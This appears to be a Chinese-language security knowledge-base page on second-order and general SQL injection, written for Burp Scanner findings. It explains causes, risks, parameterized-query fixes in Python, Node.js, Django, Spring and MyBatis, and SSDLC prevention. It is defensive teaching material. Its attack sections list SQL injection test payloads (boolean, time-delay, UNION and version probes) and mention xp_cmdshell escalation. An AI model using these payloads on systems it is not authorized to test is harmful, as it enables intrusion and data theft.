[Burp Scanner Issue] 003 二階 SQL 注入(Second-Order SQL Injection)完整解析:成因、風險與修補指南
SQL 注入是老生常談的漏洞,但「二階 SQL 注入」(Second-Order SQL Injection,有時也稱為 Stored SQL Injection)卻是許多開發團隊最容易漏掉的變種。它不在輸入的當下爆炸,而是安靜地潛伏在資料庫裡,等到另一個功能把這筆資料撈出來重新組 SQL 時,才悄悄引爆。
這種延遲觸發的特性,讓它在開發過程中特別難被察覺——前端驗證通過了、寫入時也沒報錯、日誌也看不出異常,直到某個看似無關的功能成為攻擊的出口。Burp Scanner 將此漏洞列為 High 等級,CWE 對應到 SQL 命令的特殊元素處理不當(CWE-89)。對任何有使用者帳號、個人設定或資料儲存功能的系統而言,這都是一個不能輕忽的攻擊面。
一、這是什麼漏洞?
白話說明
一般的 SQL 注入(First-Order SQL Injection)是:使用者輸入惡意字串 → 系統直接把這段字串拼進 SQL → 資料庫執行惡意指令。
二階 SQL 注入的流程則不一樣:
- 第一步(儲存):使用者提交的惡意資料,在這個階段可能被「正確地」轉義或驗證,然後寫進資料庫,表面上看起來安全。
- 第二步(觸發):應用程式日後執行某個功能,從資料庫把這筆資料讀出來,然後「再次組合進另一條 SQL 查詢」時,沒有再做一次安全處理,導致注入發生。
舉個實際例子:
使用者在註冊時把帳號設為 <code>admin'–</code>。系統在存入資料庫時有做跳脫(escape),寫進去的值是 <code>admin''–</code>,看起來安全。但是當使用者修改密碼時,系統執行了這樣的查詢:
-- 危險的動態 SQL 組合,username 直接從資料庫撈出後拼接
UPDATE users SET password = 'newpass' WHERE username = 'admin'--'
這時候,原本存在資料庫的值被讀出來、直接拼進 SQL,造成注入。<code>–</code> 讓後面的條件被註解掉,攻擊者可能成功修改所有帳號的密碼,而非只有自己的帳號。
與一般 SQL 注入的差異
| 特性 | 一階 SQL 注入 | 二階 SQL 注入 |
|---|---|---|
| 觸發時機 | 輸入當下 | 資料被二次使用時 |
| 偵測難度 | 相對容易 | 較難,需跨功能追蹤 |
| 單一輸入點掃描 | 通常有效 | 可能漏掉 |
| 儲存在資料庫 | 否 | 是 |
二、Burp Scanner 為什麼會報這個問題?
偵測邏輯
二階 SQL 注入的偵測本質上比一般 SQL 注入困難,因為注入點(輸入)與觸發點(SQL 執行)分屬不同的請求與功能流程。Burp Scanner 偵測此類問題時,主要採用主動掃描(Active Scan)搭配跨功能的探針策略:
- 探針植入:在可能被儲存的輸入欄位(例如帳號名稱、個人簡介、地址、備註欄)植入特殊探針字串,這些字串設計成能在資料被二次讀取後觸發可觀察的行為差異(例如時間延遲、錯誤回應、特定輸出)。
- 後續觸發觀察:Burp 接著爬取並觸發其他會讀取這些資料的功能(例如個人資料頁、後台搜尋、報表生成),觀察是否出現與注入相關的異常回應。
- 差異比對:透過比對基準行為與注入後行為的差異,判斷是否存在可利用的注入點。
主動 vs. 被動掃描
這個問題主要透過主動掃描才能偵測到。被動掃描因為不主動送出探針,通常無法識別二階注入。這也表示,若掃描範圍或爬蟲設定不完整,部分二階注入可能不會被掃描器標記出來。
重要提醒
Burp Scanner 回報此問題,不等於該漏洞可以被穩定利用。 掃描器偵測到的是「疑似行為差異」,實際的可利用性取決於:
- 注入點的位置與上下文
- 資料庫類型與版本
- 應用程式的錯誤處理是否對外揭露資訊
- 背後的查詢結構
所有掃描結果都需要人工驗證,才能確認是真實漏洞還是誤報(False Positive)。
三、可能造成的風險與影響
二階 SQL 注入的風險等級為 High,實際影響視資料庫權限與應用程式邏輯而定,常見的危害包括:
機密性(Confidentiality)
攻擊者可能透過注入的 <code>UNION SELECT</code> 或子查詢,讀取資料庫中的敏感資料,例如使用者密碼雜湊(hash)、電子郵件、個資、API 金鑰,甚至跨資料表讀取原本無權限存取的資訊。
完整性(Integrity)
惡意 SQL 可以修改資料庫內容,例如竄改帳號密碼、修改訂單金額、插入虛假記錄,或刪除關鍵業務資料。
身份驗證繞過與權限提升
如同前述的密碼修改範例,攻擊者可能利用二階注入,在不知道原始密碼的情況下修改管理員帳號密碼,進而取得高權限存取。
橫向移動與資料庫伺服器控制
在資料庫帳號具備高權限(例如 <code>db_owner</code> 或 <code>sa</code>)的情況下,攻擊者可能進一步執行 <code>xp_cmdshell</code>(MSSQL)或 <code>LOAD_FILE</code> / <code>INTO OUTFILE</code>(MySQL),達成遠端指令執行或檔案讀寫。
為什麼不能因為「難以利用」而忽略?
二階 SQL 注入的利用條件確實比一般注入稍多,但這不是輕忽的理由。攻擊者通常有充裕的時間與精力研究應用程式流程;一旦找到觸發路徑,影響可能非常嚴重,且整個攻擊過程難以從日誌中一眼識別,增加了事後調查的難度。
四、常見成因
以下幾個開發與部署錯誤,是二階 SQL 注入最常見的根源:
1. 「存進去有做跳脫,讀出來就信任」的錯誤假設
最典型的成因。開發者在寫入資料庫時有做 <code>escape()</code> 或 <code>htmlspecialchars()</code>,然後誤以為這筆資料「已經安全了」,在後續讀出並重新組 SQL 時,沒有再次套用參數化查詢,直接用字串拼接。
2. 不一致的查詢寫法
專案中部分函式使用了 Prepared Statement,但某些舊模組、工具函式或報表查詢仍然使用字串拼接(例如 <code>"SELECT * FROM orders WHERE user = '" + username + "'"</code>),形成安全漏洞。
3. 中介層或 ORM 框架的原始查詢(Raw Query)未妥善處理
使用 ORM(例如 Sequelize、SQLAlchemy、Hibernate)的專案,若為了效能或特殊需求使用了 Raw SQL 或 <code>query()</code> 方法,但仍以字串插值方式傳入變數,等同於放棄了 ORM 的注入防護。
4. 日誌、通知、報表等「次要功能」疏於審查
主流程(登入、搜尋)通常受到較嚴格的審查,但「寄送通知信用到使用者資料」、「後台報表撈取使用者名稱」等次要功能,常在 Code Review 時被跳過,成為二階注入的溫床。
5. 多語言或多模組系統的邊界問題
當一個系統由 Python 後端寫入、Node.js API 讀取,或有多個微服務共用資料庫時,不同模組對「資料信任程度」的假設不一,容易造成某個服務讀出資料後直接用於 SQL 而未防護。
6. 測試資料或管理帳號的特殊字元未清理
開發或測試時,工程師可能建立帳號名稱帶有特殊字元(例如 <code>test'admin</code>)的測試資料,這些資料留存到正式環境後,若有功能把帳號名稱組進 SQL,就可能成為觸發條件。
五、攻擊者可能怎麼利用?
攻擊思路
攻擊者利用二階 SQL 注入的流程,通常如下:
- 偵察應用程式流程:找出哪些功能會「儲存使用者可控的資料」,以及哪些功能後續會「讀取並處理這些資料」。
- 植入惡意 Payload:在儲存階段提交精心設計的字串,讓它看起來無害(通過基本驗證),但包含 SQL 特殊字元。
- 觸發二次查詢:操作應用程式執行讀取並使用該資料的功能,觸發 SQL 注入。
- 觀察回應差異:根據錯誤訊息、行為差異、時間延遲來確認注入成立,進而調整 payload 擴大攻擊。
常見測試 Payload 範例
以下 payload 適合在滲透測試授權範圍內使用,用於驗證是否存在二階 SQL 注入:
字串跳脫測試(Boolean-based)
' OR '1'='1
admin'--
' OR 1=1--
時間延遲測試(Time-based Blind,適合無回顯情境)
- MySQL:
'; SELECT SLEEP(5);-- - MSSQL:
'; WAITFOR DELAY '0:0:5';-- - PostgreSQL:
'; SELECT pg_sleep(5);--
實際測試步驟建議
- 找到可儲存使用者資料的功能,例如:帳號名稱、個人簡介、地址欄位、標籤名稱。
- 在該欄位輸入含有單引號或 SQL 關鍵字的測試字串(例如 <code>test'</code>)並儲存。
- 操作會讀取並使用該資料的功能(例如:修改密碼、查看個人頁面、搜尋自己的訂單)。
- 觀察是否出現資料庫錯誤訊息、異常回應、內容變化,或在時間延遲測試中出現明顯的回應時間差異。
- 若確認注入成立,嘗試 <code>UNION SELECT</code> 確認是否可讀取其他資料表(需在授權範圍內進行)。
六、開發與維運團隊該怎麼修補?
6.1 短期補救措施
- 立即審查已知的「先儲存、後讀取再組 SQL」流程,重點包含:帳號設定、個人資料更新、通知/郵件產生、後台搜尋與報表。
- 暫時強化輸入驗證:對使用者可設定的字串欄位加入嚴格的白名單驗證,拒絕含有 <code>'</code>、<code>"</code>、<code>–</code>、<code>;</code>、<code>/*</code>、<code>*/</code> 等 SQL 特殊字元的輸入(此為緩解,非根治)。
- 關閉或限制錯誤訊息對外輸出,避免攻擊者從 SQL 錯誤訊息中取得資料庫結構資訊。
6.2 正確修補方式
核心原則:所有組入 SQL 的變數,無論資料來源為何(包含從資料庫讀出的值),一律使用參數化查詢(Parameterized Query / Prepared Statement)。
Python(使用 psycopg2 for PostgreSQL)
# ❌ 危險寫法:從資料庫讀出 username 後直接拼接
cursor.execute(f"UPDATE users SET password = '{new_password}' WHERE username = '{username}'")
# ✅ 安全寫法:使用參數化查詢
cursor.execute(
"UPDATE users SET password = %s WHERE username = %s",
(new_password, username)
)
Node.js(使用 mysql2)
// ❌ 危險寫法
const query = <code>UPDATE users SET password = '${newPassword}' WHERE username = '${username}'</code>;
connection.query(query);
// ✅ 安全寫法:使用 ? 佔位符
connection.query(
'UPDATE users SET password = ? WHERE username = ?',
[newPassword, username],
(err, results) => { /* ... */ }
);
Node.js(使用 Sequelize ORM 的 Raw Query)
// ❌ 危險寫法:Raw SQL 字串插值
await sequelize.query(<code>SELECT * FROM orders WHERE user = '${username}'</code>);
// ✅ 安全寫法:使用 replacements
await sequelize.query(
'SELECT * FROM orders WHERE user = :username',
{ replacements: { username: username } }
);
關鍵心態轉換:不要問「這個值是不是已經安全了?」,而要問「這個值有沒有透過參數化查詢傳入 SQL?」後者才是正確的判斷標準。
6.3 長期預防建議
- 建立全專案的 SQL 查詢規範:禁止字串拼接組 SQL,列入 Code Review Checklist 與靜態分析規則(例如使用 Semgrep 的 SQL injection 規則集)。
- ORM 框架層級的強制約束:若使用 ORM,盡量避免 Raw Query;若確實需要,建立內部 wrapper 強制傳入參數而非字串。
- 資料庫帳號最小權限原則:應用程式使用的資料庫帳號,只給予執行業務邏輯所需的最低權限,避免 <code>DROP TABLE</code>、<code>xp_cmdshell</code> 等高危操作可被觸發。
- 導入 SAST 工具於 CI/CD Pipeline:在每次 Pull Request 或 merge 時,自動掃描是否引入了字串拼接的 SQL 寫法。
- 定期的安全測試:在每個 Sprint 或 Release 前,對有儲存使用者資料的功能進行手動安全驗證。
七、如何驗證是否修好?
Burp Re-scan
修補完成後,使用 Burp Suite 對相同的功能重新執行主動掃描。若先前標記的問題不再出現,可作為一項參考依據,但不應作為唯一的驗證方式。
手動驗證重點
- 在儲存欄位輸入測試 payload(例如 <code>admin'–</code> 或 <code>'; SELECT SLEEP(3);–</code>)並儲存。
- 手動操作會觸發二次查詢的功能,確認:
- 沒有出現資料庫錯誤訊息
- 沒有異常的回應延遲(排除時間延遲注入)
- 系統行為符合預期,不影響其他帳號或資料
- 確認 payload 的內容被當作純資料處理,而非 SQL 指令的一部分。
程式碼層級驗證
- Code Review:確認所有從資料庫讀出的值在組合 SQL 時,都有使用 Prepared Statement 或 Parameterized Query。
- 搜尋 codebase 中的字串拼接模式:
# 簡易 grep 範例,尋找可疑的 SQL 組合 grep -rn "execute(f\"" . grep -rn "execute(\"SELECT.*+\|\"UPDATE.*+\|\"INSERT.*+" . - 使用 SAST 工具(例如 Semgrep、Bandit for Python、NodeJsScan)執行全局掃描。
日誌觀察
啟用資料庫層級的慢查詢日誌(Slow Query Log)與錯誤日誌,觀察修補後是否仍有異常 SQL 錯誤或超時查詢出現。
單元測試 / 整合測試
撰寫測試案例,模擬使用者輸入含有 SQL 特殊字元的資料,並驗證後續使用該資料的功能不會產生 SQL 錯誤,且行為正確。
# 範例:Python unittest
def test_username_with_sql_injection_payload(self):
# 建立帶有惡意 payload 的帳號
self.create_user(username="admin'--")
# 呼叫觸發二次查詢的功能
result = self.change_password(username="admin'--", new_password="safe_pass")
# 確認只有目標帳號被修改,且沒有引發錯誤
self.assertEqual(result['status'], 'success')
self.assert_only_one_user_affected()
八、從 SSDLC 角度,應該在哪個階段攔下來?
Requirements(需求階段)
在需求分析階段,應明確定義「所有使用者輸入的資料,即使已儲存至資料庫,在後續重新組合 SQL 時仍必須透過參數化查詢處理」為安全需求。這條規範應納入開發規格,而非留到測試階段才發現。
Design(設計階段)
設計資料庫存取層(DAL, Data Access Layer)或 Repository Pattern 時,應強制規定所有查詢方法必須接受參數化輸入,禁止提供字串直接拼接的接口。資料模型(Model)設計時,也應考慮哪些欄位可能被讀出後重新用於查詢,對這類欄位進行特別標記或設計約束。
Implementation(開發階段)
這是最關鍵的防線。 開發者應遵循統一的 SQL 查詢規範,所有 DB 存取一律使用 Prepared Statement 或 ORM 的安全介面,並在 Code Review 時明確檢查這一點。可在 IDE 或 Linter 層級加入規則,提示字串拼接的 SQL 寫法。
Verification(驗證階段)
安全測試(DAST/SAST)應在這個階段執行。SAST 工具可掃描字串拼接的 SQL 寫法;DAST(例如 Burp Suite)的主動掃描可嘗試偵測二階注入行為。Penetration Testing 也應包含「跨功能二階注入測試」的場景。此階段是發現遺漏的最後機會。
Deployment(部署階段)
部署時應確認:資料庫連線帳號使用最小權限;生產環境關閉詳細的 SQL 錯誤回傳;確認環境設定不殘留開發期間的測試資料(可能含有惡意 payload)。
Operations(維運階段)
定期執行安全掃描,監控資料庫異常存取行為(例如 <code>UNION SELECT</code>、<code>SLEEP()</code>、<code>xp_cmdshell</code> 等出現在查詢日誌中)。建立漏洞回報與修補流程,確保二階注入一旦在生產環境被發現,能夠快速回應。
最容易被發現與預防的階段
| 階段 | 效果 |
|---|---|
| Implementation | ⭐⭐⭐ 最佳預防點,從根源阻止 |
| Design | ⭐⭐⭐ 架構層面強制防護 |
| Verification | ⭐⭐ 最常發現的階段(DAST/滲透測試) |
| Operations | ⭐ 最晚發現,修補代價最高 |
九、這個漏洞常見的誤解
誤解一:「我寫入資料庫時有做跳脫,這筆資料就是安全的了」
跳脫(Escaping)是針對「目前這次操作的 SQL 上下文」所做的處理,一旦資料被寫入資料庫,跳脫的效果就結束了。下次把這筆資料讀出來並重新組 SQL 時,就是一次全新的信任邊界,必須再次套用安全的查詢方式。跳脫≠永久安全,參數化查詢才是正解。
誤解二:「我用 Stored Procedure 就不會有 SQL 注入」
儲存程序(Stored Procedure)本身不能保證安全。如果 Stored Procedure 內部使用了動態 SQL(例如 MSSQL 的 <code>EXEC(@sql)</code>),且 <code>@sql</code> 是由外部輸入拼接而成,注入一樣可以發生。同樣地,即使 Stored Procedure 內部是安全的,若呼叫它的方式是以字串拼接使用者資料作為參數,問題一樣存在。
誤解三:「Burp 掃到了但我手動測了沒問題,就當誤報跳過」
二階 SQL 注入的觸發路徑可能需要特定的使用者流程或資料條件,單次手動測試不一定能重現。建議根據 Burp 的標記,仔細追蹤「資料從哪裡存入」、「在哪些功能被讀出並重新用於 SQL」,再做針對性的驗證,而非直接標記為誤報。
誤解四:「我的系統有 WAF,注入的 payload 會被擋掉」
WAF(Web Application Firewall)是有效的防禦層之一,但不應作為唯一防線。針對二階注入,攻擊者可能將惡意 payload 分散、編碼,或利用 WAF 對「資料庫內部讀取操作」無能為力的特性,繞過防護。真正的修補是在程式碼層面使用參數化查詢,WAF 只是輔助。
十、重點整理
- 二階 SQL 注入的核心風險在於惡意資料「先存後發」,在另一個功能被讀出並重新組 SQL 時才觸發,傳統的輸入點防護容易遺漏這類攻擊路徑。
- 唯一可靠的根治方式是參數化查詢(Prepared Statement),且必須對所有組入 SQL 的值一律套用,不論資料來源是使用者輸入還是從資料庫讀出的值。
- 跳脫(Escape)、Stored Procedure、WAF 均不能單獨作為防護手段,它們可以作為縱深防禦的一部分,但不能取代參數化查詢。
- Burp Scanner 標記此問題後,需要人工驗證觸發路徑,追蹤資料的「儲存點」與「二次使用點」,才能確認是否為真實可利用的漏洞。
- 在 SSDLC 中,最有效的預防在 Design 與 Implementation 階段;透過架構設計強制安全查詢模式、Code Review 明確檢查,比事後掃描補救的代價低得多。
十一、參考對照
| 項目 | 內容 |
|---|---|
| Burp Scanner Issue Name | SQL injection (second order) |
| Severity | High |
| Type Index (Hex) | <code>0x00100210</code> |
| Type Index (Dec) | <code>1049104</code> |
| CWE | CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’) |
| CWE-94: Improper Control of Generation of Code (‘Code Injection’) | |
| CWE-116: Improper Encoding or Escaping of Output | |
| CAPEC | CAPEC-66: SQL Injection |
| 參考資源 | PortSwigger Web Security Academy: SQL injection |
[Burp Scanner Issue] 002 SQL Injection 完整指南:原理、風險、修補與 SSDLC 預防策略
SQL Injection 是一種攻擊者透過操控應用程式的資料庫查詢語句,藉以讀取、竄改、甚至刪除資料的漏洞。它成因單純——使用者輸入未經安全處理就被拼接進 SQL 查詢——但後果嚴重,輕則資料外洩,重則整個資料庫淪陷。Burp Scanner 會透過主動注入偵測回應異常來識別此類漏洞。本文帶你從原理到修補、從單次掃描到長期 SSDLC 流程整合,一次掌握 SQL Injection 的防禦全貌。
SQL Injection 是資安圈討論超過二十年、卻仍年年名列 OWASP Top 10 的漏洞。它的成因直白得讓人驚訝:把使用者輸入不加處理地拼進 SQL 查詢字串,就可能讓攻擊者注入自己的查詢邏輯。然而,正是這種「看起來很簡單」的特性,讓它長期存在於各類系統中,也讓許多高知名度的資料外洩事件因此發生。
從小型電商到大型金融機構,SQL Injection 造成的損失往往不只是當下的資料外洩,更包含事後的客戶信任崩潰、監管罰款、以及長達數月的事件調查成本。更麻煩的是,許多組織在遭受攻擊後數個月甚至數年才察覺,這期間資料早已遭竊售出或加密勒索。了解 SQLi 不只是資安工程師的必修課,更是每一位開發者在撰寫資料庫互動程式碼時都需要具備的基本認知。
一、這是什麼漏洞?
SQL Injection,縮寫 SQLi,是指攻擊者透過操控應用程式傳送給資料庫的 SQL 查詢語句,進而讀取、竄改、插入或刪除資料庫中的資料。
本質上,這是一種輸入未被適當區隔的問題:應用程式把使用者可控的資料當作 SQL 指令的一部分來執行,而非單純的資料值。攻擊者只需在輸入欄位中插入特殊字元(如單引號 <code>'</code>、<code>–</code> 註解符號、<code>OR 1=1</code> 等邏輯片段),就能打破原本查詢的語法結構,注入自己的查詢邏輯。
與相近漏洞的差異:
| 漏洞 | 注入目標 | 典型影響 |
|---|---|---|
| SQL Injection | 關聯式資料庫查詢(SQL) | 資料外洩、竄改、繞過驗證 |
| NoSQL Injection | MongoDB、Redis 等 NoSQL 查詢 | 類似,但語法不同 |
| Command Injection | 作業系統 Shell 命令 | RCE、系統控制 |
| LDAP Injection | LDAP 目錄查詢 | 身分驗證繞過、資訊洩漏 |
| Second-order SQLi | 資料先寫入再讀出時觸發 | 更隱蔽,掃描器較難偵測 |
Second-order SQL Injection 值得特別注意:資料在初次儲存時可能已做跳脫處理,但在後續被讀取並重新代入 SQL 查詢時,跳脫的單引號會還原成原始形式,導致注入仍然成功。這是許多開發者容易忽略的死角。
二、Burp Scanner 為什麼會報這個問題?
Burp Scanner 偵測 SQL Injection 主要仰賴主動掃描(Active Scanning),它會在應用程式的各個輸入點(URL 參數、POST body、Cookie、HTTP Header 等)注入一系列精心設計的 payload,並觀察應用程式的回應是否出現異常行為。
Burp 常用的偵測策略包含:
- 布林型條件注入(Boolean-based):注入 <code>' AND 1=1–</code> 與 <code>' AND 1=2–</code>,比對兩者的回應差異,若不同則推斷存在條件式查詢行為。
- 時間延遲注入(Time-based):注入 <code>'; WAITFOR DELAY '0:0:5'–</code>(MSSQL)或 <code>'; SELECT SLEEP(5)–</code>(MySQL),若回應時間明顯增加,代表查詢被執行。
- 錯誤型注入(Error-based):注入單引號或特殊語法,觀察是否觸發資料庫錯誤訊息(如 <code>ORA-00933</code>、<code>You have an error in your SQL syntax</code>)。
- Out-of-band 偵測:在支援的環境中,注入觸發 DNS 查詢或 HTTP 請求的 payload,透過 Burp Collaborator 接收外部回呼。
Burp Scanner 屬於主動掃描,掃描過程會對目標系統發送大量異常請求,不應在未獲授權的生產環境中執行。
重要提醒:掃描器報出 SQL Injection 並不代表漏洞一定可以穩定利用。有時應用程式的行為差異可能源自其他邏輯,而非真正的 SQL 注入;也有些情況下,漏洞確實存在但因防火牆攔截或環境限制而無法直接利用。掃描結果應視為「需要人工驗證的線索」,而非可直接引用的確認事實。
三、可能造成的風險與影響
SQL Injection 的影響範圍極廣,依攻擊者的目的與資料庫權限設定,可能造成以下後果:
機密性(Confidentiality)
攻擊者可透過 <code>UNION</code> 查詢或子查詢,提取資料庫中任意資料表的內容,包含使用者帳號、密碼雜湊值、個人資料、信用卡號、API 金鑰等敏感資訊。以常見攻擊手法為例,一個存在注入的搜尋欄位,可能讓攻擊者在幾分鐘內取得整個 <code>users</code> 資料表的內容。
完整性(Integrity)
攻擊者不只能讀,還能寫:插入假資料、竄改現有記錄、刪除關鍵日誌,甚至修改使用者的權限等級。
可用性(Availability)
大量的資源消耗查詢、<code>DROP TABLE</code> 等破壞性操作,可導致服務中斷。
身分驗證繞過
經典的 <code>' OR '1'='1</code> 注入可讓攻擊者在不知道密碼的情況下登入系統,直接取得帳戶存取權。
權限提升與橫向移動
若資料庫帳號擁有過高權限,攻擊者可能透過 <code>xp_cmdshell</code>(MSSQL)執行作業系統命令,從資料庫跳躍到主機控制,進一步進行橫向移動。
合規與法律風險
個資外洩在 GDPR、PDPA 等法規下可能面臨高額罰款,以及強制通報義務。
四、常見成因
1. 字串拼接 SQL 查詢
最常見的根本成因。開發者直接用 <code>+</code> 或 <code class="kb-btn">${}</code> 將使用者輸入插入 SQL 字串,例如:
query = "SELECT * FROM users WHERE username = '" + username + "'"
只要 <code>username</code> 含有單引號,查詢結構立即被破壞。
2. 依賴「跳脫特殊字元」做為唯一防線
對輸入值進行單引號轉義(如 <code>\'</code>)或雙倍引號(<code>''</code>)是不完整的防禦,在數字型參數、Second-order 注入、或寬字元編碼情境下仍可能被繞過。
3. 儲存程序(Stored Procedure)中的動態 SQL
誤認為「用了 stored procedure 就安全」。若 stored procedure 內部仍使用動態字串組合 SQL(如 <code>EXEC(@sql)</code>),同樣存在 SQLi 風險。
4. ORM 的原始查詢介面(Raw Query)被誤用
使用 Sequelize、SQLAlchemy、Hibernate 等 ORM 框架時,若開發者為了靈活性而改用 <code>raw()</code>、<code>execute()</code>、<code>nativeQuery()</code> 並拼接輸入,等同於繞過 ORM 的保護機制。
5. 錯誤訊息直接回傳給使用者
資料庫錯誤訊息(如 table 名稱、欄位名稱、SQL 語法提示)被直接回傳給前端,讓攻擊者得以快速進行錯誤型注入偵測與枚舉。
6. 測試環境的 debug 模式殘留到正式環境
開發時啟用詳細錯誤輸出,上線時忘記關閉,導致生產環境同樣暴露資料庫結構資訊。
五、攻擊者可能怎麼利用?
典型攻擊流程:
- 偵測注入點:攻擊者在輸入欄位(URL 參數、登入表單、搜尋框)注入單引號 <code>'</code> 或 <code>''</code>,觀察是否觸發錯誤或行為異常。
- 確認資料庫類型:透過特定函式(如 <code>@@version</code>、<code>version()</code>、<code>v$version</code>)判斷後端是 MySQL、MSSQL、PostgreSQL 還是 Oracle,以選擇對應語法。
- 枚舉資料庫結構:利用 <code>information_schema.tables</code> 取得所有資料表名稱,再用 <code>information_schema.columns</code> 取得欄位清單。
- 提取資料:透過 <code>UNION SELECT</code> 或布林盲注逐步取出資料。
常用偵測 Payload(供測試與驗證使用):
# 觸發錯誤型偵測
'
''
' OR 1=1--
' OR 'a'='a
# 布林型盲注
' AND 1=1-- (應正常回應)
' AND 1=2-- (若行為不同則有漏洞)
# 時間型盲注(MySQL)
' AND SLEEP(5)--
# 時間型盲注(MSSQL)
'; WAITFOR DELAY '0:0:5'--
# UNION 探測欄位數
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- (直到出錯,判斷欄位數)
# 提取資料庫版本(MySQL)
' UNION SELECT NULL, version()--
建議使用 Burp Suite 的 Repeater 手動驗證,逐一調整 payload 觀察回應差異,而非單純依賴掃描器結果。自動化工具如 <code>sqlmap</code> 可用於驗證,但務必在已獲授權的測試環境中執行。
六、開發與維運團隊該怎麼修補?
6.1 短期補救措施
- 確認觸發 SQLi 的具體輸入點,立即停用或加入 WAF 規則進行暫時性封鎖。
- 若有啟用詳細資料庫錯誤輸出,立即關閉並改為通用錯誤訊息(如「發生錯誤,請稍後再試」)。
- 稽核資料庫帳號權限,確保應用程式使用的帳號符合最小權限原則(僅能 SELECT/INSERT/UPDATE,不應有 DROP、CREATE、EXEC xp_cmdshell 等高危權限)。
- 盡快通知資安主管,評估是否已有資料外洩跡象,必要時保留日誌備查。
6.2 正確修補方式
最根本、最有效的修補方法是使用參數化查詢(Parameterized Query / Prepared Statement),讓 SQL 語句的結構與資料分離。
Python 基礎寫法(psycopg2)
# ❌ 危險寫法(字串拼接)
query = f"SELECT * FROM users WHERE username = '{username}'"
cursor.execute(query)
# ✅ 安全寫法(參數化查詢)
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
Node.js 基礎寫法(mysql2)
// ❌ 危險寫法
const query = <code class="kb-btn">SELECT * FROM users WHERE id = ${userId}</code>;
connection.query(query);
// ✅ 安全寫法
const query = "SELECT * FROM users WHERE id = ?";
connection.query(query, [userId]);
Django ORM(Python)
Django 的 ORM 預設使用參數化查詢,只要透過標準 QuerySet API 操作,就具備基本保護。問題通常出在開發者改用 <code>raw()</code> 或 <code>extra()</code> 時。
# ❌ 危險:raw() 搭配字串格式化
def get_user_by_name(username):
return User.objects.raw(
f"SELECT * FROM auth_user WHERE username = '{username}'"
)
# ✅ 安全:raw() 搭配參數佔位符
def get_user_by_name(username):
return User.objects.raw(
"SELECT * FROM auth_user WHERE username = %s",
[username] # 以 list 傳入參數,Django 自動處理跳脫
)
# ✅ 最佳實務:直接用 QuerySet API(完全由 ORM 處理)
def get_user_by_name(username):
return User.objects.filter(username=username).first()
# ❌ 危險:使用 extra() 拼接 WHERE 條件
def search_products(keyword):
return Product.objects.extra(
where=[f"name = '{keyword}'"]
)
# ✅ 安全:使用 extra() 的 params 參數
def search_products(keyword):
return Product.objects.extra(
where=["name = %s"],
params=[keyword]
)
# ✅ 最佳實務:改用 filter() 與 Q 物件
from django.db.models import Q
def search_products(keyword):
return Product.objects.filter(
Q(name__icontains=keyword) | Q(description__icontains=keyword)
)
# ❌ 危險:直接執行原始 SQL(connection.execute 拼接)
from django.db import connection
def get_order(order_id):
with connection.cursor() as cursor:
cursor.execute(
"SELECT * FROM orders WHERE id = " + str(order_id)
)
return cursor.fetchone()
# ✅ 安全:使用佔位符
def get_order(order_id):
with connection.cursor() as cursor:
cursor.execute(
"SELECT * FROM orders WHERE id = %s",
[order_id] # 永遠用 list 或 tuple 傳參數
)
return cursor.fetchone()
# ✅ RawSQL 安全用法(annotate 進階查詢)
from django.db.models.expressions import RawSQL
Product.objects.annotate(
custom_rank=RawSQL(
"SELECT COUNT(*) FROM reviews WHERE product_id = %s",
(product_id,)
)
)
Django 黃金法則:<code>__icontains</code>、<code>__startswith</code> 等 lookup 均已內建參數化保護,直接使用即可。需要彈性查詢時優先選擇 <code>Q</code> 物件與 Criteria API,避免繞回 raw SQL。
Spring Data JPA / Hibernate(Java)
Spring 生態系中,SQLi 最常出現在 JPQL 動態查詢、Native Query 或 Criteria API 被誤用的情境。
// ❌ 危險:JPQL 字串拼接
public List<User> findByUsername(String username) {
String jpql = "SELECT u FROM User u WHERE u.username = '" + username + "'";
return entityManager.createQuery(jpql, User.class).getResultList();
}
// ✅ 安全:使用具名參數(Named Parameter)
public List<User> findByUsername(String username) {
String jpql = "SELECT u FROM User u WHERE u.username = :username";
return entityManager.createQuery(jpql, User.class)
.setParameter("username", username)
.getResultList();
}
// ❌ 危險:Native Query 字串拼接
@Query(value = "SELECT * FROM users WHERE role = '" + role + "'", nativeQuery = true)
List<User> findByRole(String role);
// ✅ 安全:Native Query 使用具名參數
@Query(
value = "SELECT * FROM users WHERE role = :role",
nativeQuery = true
)
List<User> findByRole(@Param("role") String role);
// ✅ 最佳實務:Spring Data JPA 方法命名查詢(全自動參數化)
public interface UserRepository extends JpaRepository<User, Long> {
// Spring 自動產生參數化查詢,無需自行撰寫 SQL
List<User> findByUsernameAndStatus(String username, String status);
Optional<User> findByEmail(String email);
}
// ✅ Criteria API 安全用法(適合動態條件查詢)
public List<Product> searchProducts(String keyword, BigDecimal maxPrice) {
CriteriaBuilder cb = entityManager.getCriteriaBuilder();
CriteriaQuery<Product> query = cb.createQuery(Product.class);
Root<Product> root = query.from(Product.class);
List<Predicate> predicates = new ArrayList<>();
if (keyword != null && !keyword.isEmpty()) {
// cb.like() 內部使用參數化查詢,安全
predicates.add(cb.like(root.get("name"), "%" + keyword + "%"));
}
if (maxPrice != null) {
predicates.add(cb.lessThanOrEqualTo(root.get("price"), maxPrice));
}
query.where(predicates.toArray(new Predicate[0]));
return entityManager.createQuery(query).getResultList();
}
// ✅ JdbcTemplate 安全用法
public User findById(Long id) {
String sql = "SELECT * FROM users WHERE id = ?";
return jdbcTemplate.queryForObject(sql, new UserRowMapper(), id);
// 第三個參數之後為可變參數,依序對應 SQL 中的 ? 佔位符
}
Spring JPA 特別注意事項:
- <code>@Query</code> 中若使用 <code>nativeQuery = true</code>,必須搭配 <code>@Param</code> 具名參數,不可字串拼接。
- 使用 <code>EntityManager.createNativeQuery()</code> 時,務必呼叫 <code>.setParameter()</code> 而非拼接字串。
- Spring JDBC Template 的 <code>jdbcTemplate.query()</code> 支援 <code>?</code> 佔位符,同樣安全;避免使用 <code>String.format()</code> 或字串加法組合 SQL。
MyBatis(Java)
MyBatis 在台灣企業仍廣泛使用,其 <code class="kb-btn">${}</code> 與 <code class="kb-btn">#{}</code> 的差異是常見的安全知識盲點:
<!-- ❌ 危險:${} 直接插入字串,不做任何處理 -->
<select id="findByUsername" resultType="User">
SELECT * FROM users WHERE username = '${username}'
</select>
<!-- ✅ 安全:#{} 使用 PreparedStatement 參數化 -->
<select id="findByUsername" resultType="User">
SELECT * FROM users WHERE username = #{username}
</select>
<!-- ⚠️ 特殊情境:ORDER BY 動態欄位名稱
